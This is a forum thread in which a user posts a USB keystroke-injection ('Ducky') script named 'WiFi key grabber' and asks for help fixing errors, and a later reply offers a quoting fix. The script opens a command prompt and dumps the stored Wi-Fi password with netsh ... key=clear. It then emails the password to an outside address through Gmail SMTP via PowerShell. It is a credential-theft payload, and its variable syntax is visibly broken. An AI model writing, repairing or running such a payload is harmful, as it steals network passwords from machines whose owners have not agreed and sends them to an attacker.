Jump to content

wifi script


AllenHelmet
 Share

Recommended Posts

Hello so i found a script and i needed help because i was getting alot of errors and i couldnt seem to fix it so i came here

What is says is was unexpected at this time and then this is the email i get:

SSID: %A%
Network type: %B%
Authentication: %C%
SSID: %A%
Network type: %B%
Authentication: %C%
SSID: "%A%:~1%"
Network type: %B%
Authentication: %C%

and  This is my script

GUI r
DELAY 200
STRING cmd
ENTER
DELAY 500
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A% in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A%
ENTER
STRING set A="%A%:~1%"
ENTER
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A%
ENTER
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A%
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A%
ENTER
STRING del A.txt
ENTER
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('Hereitypedmyemail@gmail.com', 'hereitypedmypassword')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'hereitypedmyemail@gmail.com'
ENTER
STRING $ReportEmail.To.Add('hereitypedmyemail@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING
ENTER
DELAY 500
STRING
ENTER
DELAY 2000
STRING
ENTER
DELAY 200
STRING
ENTER

 

Please help

Link to comment
Share on other sites

  • 3 years later...

The first thing I see  is that you are using double quote marks.  The compiler for Ducky script switches the " to the @ character when it compiles and visa versa.  so you will want to replace your " in your code with the @ character to have them compile as above.

Example: Change   c:"Key Content"  to c:@key Content@

Hope this helps!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...